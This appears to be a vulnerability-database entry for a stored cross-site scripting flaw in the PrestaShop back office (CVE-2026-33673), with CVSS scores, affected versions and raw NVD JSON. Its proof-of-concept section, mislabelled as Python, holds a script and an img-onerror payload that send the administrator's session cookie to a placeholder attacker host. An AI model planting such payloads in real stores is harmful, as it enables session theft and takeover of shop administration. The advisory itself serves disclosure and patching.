Security Vulnerability Report
中文
CVE-2026-33673 CVSS 7.6 HIGH

CVE-2026-33673

Published: 2026-03-26 22:16:31
Last Modified: 2026-04-01 13:40:03

Description

PrestaShop is an open source e-commerce web application. Versions prior to 8.2.5 and 9.1.0 are vulnerable to stored Cross-Site Scripting (stored XSS) vulnerabilities in the BO. An attacker who can inject data into the database, via limited back-office access or a previously existing vulnerability, can exploit unprotected variables in back-office templates. Versions 8.2.5 and 9.1.0 contain a fix. No known workarounds are available.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:prestashop:prestashop:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:prestashop:prestashop:*:*:*:*:*:*:*:* - VULNERABLE
PrestaShop < 8.2.5
PrestaShop < 9.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-33673 - PrestaShop Stored XSS Context: Injection into a vulnerable back-office field that is reflected in templates. --> <!-- Malicious payload to be stored in the database --> <script> // Example: Steal administrator session cookie var payload = document.cookie; var attackerUrl = 'http://attacker-server.com/log?c=' + encodeURIComponent(payload); fetch(attackerUrl); // Example: Perform an action as admin (e.g., create a new user) alert('XSS Executed in Back Office'); </script> <!-- Alternatively, using an image tag if script tags are filtered in some contexts --> <img src=x onerror="fetch('http://attacker-server.com/log?c='+document.cookie)">

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33673", "sourceIdentifier": "[email protected]", "published": "2026-03-26T22:16:30.553", "lastModified": "2026-04-01T13:40:03.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PrestaShop is an open source e-commerce web application. Versions prior to 8.2.5 and 9.1.0 are vulnerable to stored Cross-Site Scripting (stored XSS) vulnerabilities in the BO. An attacker who can inject data into the database, via limited back-office access or a previously existing vulnerability, can exploit unprotected variables in back-office templates. Versions 8.2.5 and 9.1.0 contain a fix. No known workarounds are available."}, {"lang": "es", "value": "PrestaShop es una aplicación web de comercio electrónico de código abierto. Las versiones anteriores a la 8.2.5 y 9.1.0 son vulnerables a vulnerabilidades de cross-site scripting almacenado (XSS almacenado) en el BO. Un atacante que puede inyectar datos en la base de datos, a través de un acceso limitado al back-office o una vulnerabilidad existente previamente, puede explotar variables desprotegidas en las plantillas del back-office. Las versiones 8.2.5 y 9.1.0 contienen una corrección. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:prestashop:prestashop:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.2.5", "matchCriteriaId": "C9FC2346-1455-48F7-ABA8-FBD5253C8ACC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:prestashop:prestashop:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.0", "matchCriteriaId": "765DE050-DDC6-4607-8126-B90DDE614019"}]}]}], "references": [{"url": "https://github.com/PrestaShop/PrestaShop/releases/tag/8.2.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/PrestaShop/PrestaShop/releases/tag/9.1.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-35pf-37c6-jxjv", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}